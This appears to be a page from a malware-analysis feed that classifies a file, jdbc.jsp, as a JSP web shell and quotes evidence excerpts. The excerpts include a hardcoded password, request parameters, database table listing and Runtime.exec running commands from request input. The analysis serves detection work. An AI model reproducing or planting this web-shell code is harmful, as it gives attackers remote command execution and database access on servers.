Hostile 92% Download

jdbc.jsp

JSP webshell with command execution

Web Shell - file customize.jspWeb Shell - file utils.jsp
SHA-256c8ef23e6759e2dd84f28fc1ec5ae913b35c8efb05dd6aa2951aed9fe867553a1

Evidence

JSP page combines request access with Runtime execution lines 1–6
1<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
2<%!String Pwd = "mylove";
3
4 String EC(String s, String c) throws Exception {
5 return s;
6 }//new String(s.getBytes("ISO-8859- …
Web Shell - file utils.jsp lines 157–175
⋯5 lines
162 Connection c = GC(s);
163 String[] t = { "TABLE" };
164 ResultSet r = c.getMetaData().getTables(null, null, "%", t);
165 while (r.next()) {
166 sb.append(r.getString("TABLE_NAME") + "\t");
⋯9 lines
Java servlet request parameter access lines 210–226
⋯9 lines
219
220<%
221 String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
222 request.setCharacterEncoding(cs);
223 response.setContentType("text/html;charset=" + cs);
224 String Z = EC(request.getParameter(Pwd) + "", cs);
225 String z1 = EC(request.getParameter("z1") + "", cs);
226 String z2 = EC(request.getParameter("z2") + "", cs) …
Java getRuntime call reference lines 278–288
278:11… f (Z.equals("M")) {
279 String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
280 Process p = Runtime.getRuntime().exec(c);
281 MM(p.getInputStream(), sb);
282 MM(p.getErrorStream(), sb);
⋯6 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.